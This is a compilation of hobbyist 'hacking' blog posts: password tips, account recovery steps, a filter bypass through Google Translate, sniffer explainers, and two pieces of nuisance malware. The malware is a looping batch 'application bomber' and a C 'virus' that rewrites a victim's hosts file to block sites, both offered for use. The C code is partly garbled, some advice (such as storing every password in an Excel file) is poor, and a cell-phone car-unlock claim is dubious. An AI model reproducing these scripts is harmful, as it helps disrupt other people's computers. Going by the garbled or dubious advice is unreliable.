10 Password Protection Tips Every Internet User Must Know

When I read the article that was published last week on a list of stolen passwords, sincerely downplayed. After a few days, again the same story repeated with gmail and yahoo accounts.

For those of us 95% via the Internet, not only applies to virtual or telecommuting assistance but also those who have taken to www essential as a means of support, payment, exchange, socialization, or consultation, we all take the necessary precautions so that nothing surprises us, updating anti-virus filtering and spam senders, please consult our contacts if we have sent the file via chat, among other things … I think we’ve learned!

However, we are not exempt from the unthinkable happens. Well, at home, office or in your neighborhood, you always take your precautions when own safety and that of our loved ones. Then, computer security issue as well as antivirus, secure pages, etc.., Would you stop to check how secure are your passwords?

Having a strong password is essential to safeguard our security and privacy on the web.

Here are my top ten tips to always consider when choosing your virtual key word.

1. Under no circumstances must enter credit card information, bank accounts and alias accounts or passwords, requested by email. This method does not use any service provider.
2. When creating a new password is good advice to be alphanumeric (containing letters and numbers), at least one of the letters can be uppercase, and if they want to raise a little more security can use any symbol on it (a * for example).
3. A password must be a word that other people or programs cannot easily deduce or guess.
4. If we want a really secure password, you must create a password that is not a proper name, or no existing word, regardless of language.
5. If you think about combining its own data (initials, ID number, date of birth, etc.) can generate a password infallible, we are wrong.
6. How to avoid extra tip to use other means of access to their accounts, as you provide access even if you have Windows Live installed on your PC, since it does not know how these passwords were obtained and best care.
7. It is important that exceed the 5-digit password for added security.
8. There are very common passwords to try not to use q. There in the web a list of passwords to avoid using.
9. You should use different passwords if you have more than one email account or access to other websites. I think this is the error common to all, me included! : Oh
10. My personal advice: arm yourself a listing in the most used application (Word, Excel, Notes) with all of your sites, subscriptions, mail boxes, neatly with your username and password and then mail it back to where. In my case I use an Excel and obviously, am password protected! That redundancy! But in these cases is better than on not missing!

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How to unlock a car door using a cell phone

What if you forgot your car keys and that keyless entry remote banded to them, how are you going to get in your car? Well, if you haven't forgotten your cell phone, too, you can call up someone who has access to that keyless remote, so you can unlock your car or truck via the wireless mobile phone! What?!?

Learn How to unlock a car door using a cell phone and a faraway keyless remote (FAUX-TO?). For more Repairs & Parts How-To Videos & Articles, visit WonderHowTo.

Guys just try this and tell me about your experience and I will tell you how it actually happens.

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Application Bomber

Hi guys, yesterday I was doing my research and suddenly lot of applications starts running on my laptop automatically and seriously its very irritating. Then I thought if it was irritating for me then it also irritate other people also. So I figure it out how to make your own application bomber.

 

open notepad & type

@echo off
:loop
start notepad
start compmgmt.msc
start mspaint
start osk
start cmd
start explorer
start control
start calc
goto loop
save as psychocoding.bat

This will force your PC to run these activities infinite time.

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What to Do When Your Email Account is Hacked?

It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out.

For Gmail:

It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link

Gmail Password Reset Link

If you cannot find success from the Step-1 then proceed to Step-2.

Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like

1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…

You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

Account Recovery Form

For Yahoo and Hotmail:

Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option. 

To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.

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A VIRUS program to Block a Website ?

Most of us are familiar with the virus that used to block Facebook and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking.

Here is the sourcecode of the virus.

#include

#include

#include

char site_list[6][30]={

“google.com”,

“www.google.com”,

“youtube.com”,

“www.youtube.com”,

“yahoo.com”,

“www.yahoo.com”

};

char ip[12]=”127.0.0.1″;

FILE *target;

int find_root(void);

void block_site(void);

int find_root()

{

int done;

struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

else return 0;

}

void block_site()

{

int i;

fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);

for(i=0;i<6;i++)

fprintf(target,”%s\t%s\n”,ip,site_list[i]);

fclose(target);

}

void main()

{

int success=0;

success=find_root();

if(success)

block_site();

}

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.

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Can't open the sites you want at college or office???? Try GOOGLE PROXY - LANGUAGE Tool

Can't open the sites you want at college or office????

Don’t worry there are lot of ways to open them, till now you have heard of proxy sites to open such sites but what if proxy sites are also banned??? Guys, GOOGLE provides you a simple tool from which you can open or visit any site as you desired.

Use language tools like Google Translator or Google Language Tools to access restricted sites.Here’s what you need to do visit Google Translator and there you see under Translate to types of translations are mentioned in or. One is text translator which u ignore just after or there is a website translator. Just write the website name(obviously the blocked site you want to visit) at the text box just below the text Translate a web page. In the language selector box select "French (or any other language) to English" and then click on translate. Now the intended page in english will appear as if inside google translator not the actual webpage so now we indirectly accessed blocked site as this translator site which is unblocked acts as a proxy. And you can easily view your desired page without any proxy softwares or websites.

Other translator sites such as Babel Fish Translation Free translation Language Translation can be used to translate from English to English or from other language to english.

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How to Detect a Sniffer and How to block Sniffer?

There are a few ways a network technician can detect a NIC running in promiscuous mode. One way is to physically check all the local computers for any sniffer devices or programs. There are also software detection programs that can scan networks for devices that are running sniffer programs (for example, AntiSniff). These scanner programs use different aspects of the Domain Name Service and TCP/IP components of a network system to detect any malicious programs or devices that are capturing packets (running in promiscuous mode). However, for the average home user, there is really no way to detect whether a computer out on the Internet is sniffing your information. This is why encryption is strongly recommended. 

There is really only one way to protect your information from being sniffed: Use encryption! Using Secure Sockets Layer (SSL)-protected Web sites and other protection tools, you can encrypt your passwords, email messages and chat sessions. There are many programs available for free that are easy to use. Although you do not always need to protect the information passed during a chat session with your friends, you should at least have the option available when needed. 

Because of the very nature of a WLAN, encryption is a must in any situation. Fortunately, wireless networks come with the option of encryption built right into their software. However, few take advantage of this capability, as few are even aware that this option exists. 

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How Hackers Use Sniffers???

Sniffers are used every day to troubleshoot faulty equipment and monitor network traffic. Hackers can use this or similar tools to peer inside a network. However, they are not out to troubleshoot. Instead, they are out to glean passwords and other gems. 

As you can see from the figure, some data is easily readable, while some data is not. The difference is in the type of data that is sent. Computers can send information either in plain text or in an encrypted form. The sample capture shows just how easy it is to read captured plain text data. 

Plain text communication is any information that is sent just as it appears to the human eye. For most applications, this is the standard means of data transfer. For example, the Internet uses plain text for most of its communications. This is the fastest way to send data. Chat programs, email, Web pages and a multitude of other programs send their information in plain text. This is acceptable for most situations; however, it becomes a problem when transmitting sensitive information, such as a bank account number or a password. 

In addition, email clients and FTP clients do not normally encrypt their passwords; this makes them two of the most commonly sniffed programs on a network. Other commonly used programs such as Telnet, Web browsers, and news programs also send their passwords as plain text. So, if a hacker successfully installs a sniffer on your network, he would soon have a list of passwords and user names that he could exploit. 

Even some encrypted passwords used in a Windows NT network can be sniffed. Thanks to the rather well-known encryption scheme of an NT password, it does not take long to capture and decrypt more than enough NT passwords to break a network wide open. In fact, there are even sniffing programs that have an NT password cracker built right into them. The programs are designed to be very user friendly so that network administrators can test their networks for weak passwords. Unfortunately, these programs often end up in the hands of script kiddies who can just as easily use them to cause problems. 

Although sniffers most commonly show up within closed business networks, they can also be used throughout the Internet. As mentioned previously, the FBI has a program that will capture all the information both coming from and going to computers online. This tool, previously known as Carnivore, simply has to be plugged in and turned on. Although it is purported to filter out any information that is not the target's, this tool actually captures everything traveling through whatever wire to which it is connected and then filters it according to the rules set up in the program. Thus, Carnivore can potentially capture all of those passwords, email messages, and chat sessions passing through its connection. 

In addition to wired networks, sniffers can also be used in wireless networks. In effect, a wireless network on a corporate LAN is like putting an Ethernet jack in your parking lot. What makes this unique from a hacker's perspective is that sniffing a wireless network is probably not illegal, although it has yet to be tested in court. In many ways, it is no different than a police scanner used by reporters and hobbyists worldwide. If the information is sent in plain text to the public domain, how can it be wrong to simply listen? 

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How Does a Sniffer Work?

For a computer to have the capability to sniff a network, it must have a network card running in a special mode. This is called promiscuous mode, which means it can receive all the traffic sent across the network. A network card will normally only accept information that has been sent to its specific network address. This network address is properly known as the Media Access Control (MAC) address. You can find your own MAC address by going to the Windows Taskbar and clicking Start?Run and typing winipcfg (for Windows 95/98/ME) or ipconfig /all (for Windows NT/2000/.NET Server). The MAC address is also called the physical address.

The only exception to this is what is called monitor mode. This type of network card status only applies to wireless network interface cards (NICs). Because of the unique properties of a wireless network, any data traveling through the airwaves is open to any device that is configured to listen. Although a card in promiscuous mode will work in wireless environments, there is no need for it to actually be part of the network. Instead, a WNIC can simply enter a listening status in which it is restricted from sending data out to the network. A network card in promiscuous mode can be detected because of how it interacts with the network. Monitor mode stops all interaction. 

There are different layers involved in network communications. Normally, the Network layer is responsible for searching the packets of information for their destination address. This destination address is the MAC address of a computer. There is a unique MAC address for every network card in the world. Although you can change the address, the MAC address ensures that the data is delivered to the right computer. If a computer's address does not match the address in the packet, the data is normally ignored. 

The reason a network card has this option to run in promiscuous mode is for troubleshooting purposes. Normally, a computer does not want or need information to be sent to other computers on the network. However, in the event that something goes wrong with the network wiring or hardware, it is important for a network technician to look inside the data traveling on the network to see what is causing the problem. For example, one common indication of a bad network card is when computers start to have a difficult time transferring data. This could be the result of information overload on the network wires. The flood of data would jam the network and stop any productive communication. After a technician plugs in a computer with the capability to examine the network, he would quickly pinpoint the origin of the corrupt data, and thus the location of the broken network card. He could then simply replace the bad card and everything would be back to normal. 

Another way to visualize a sniffer is to consider two different personality types at a cocktail party. One type is the person who listens and replies to conversations in which he is actively involved. This is how a network card is supposed to work on your local machine. It is supposed to listen and reply to information sent directly to it. 

On the other hand, there are those people at the party who stand quietly and listen to everyone's conversation. This person could be compared to a network card running in promiscuous mode. Furthermore, if this eavesdropper listened for a specific subject only, she could be compared to a sniffer that captures all data related to passwords only.

In my next article read about How Hackers Use Sniffing??? Till then enjoy and happy Hacking!!!

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